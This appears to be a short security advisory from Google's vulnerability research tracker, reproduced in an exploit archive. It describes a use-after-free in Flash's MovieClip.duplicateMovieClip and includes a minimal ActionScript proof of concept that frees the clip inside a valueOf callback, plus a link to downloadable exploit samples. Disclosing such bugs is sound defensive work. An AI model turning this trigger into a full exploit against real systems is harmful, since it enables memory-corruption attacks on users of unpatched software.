Source: https://code.google.com/p/google-security-research/issues/detail?id=591
There is a use-after-free in MovieClip.duplicateMovieClip. If the depth or movie name parameter provided is an object with toString or valueOf defined, this method can free the MovieClip, which is then used.
A minimal PoC follows:
this.createEmptyMovieClip("mc", 1);
mc.duplicateMovieClip( "mc",{valueOf : func});
function func(){
trace("in func");
mc.removeMovieClip();
// Fix heap here
return 5;
}
A sample swf and fla are attached.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39042.zip
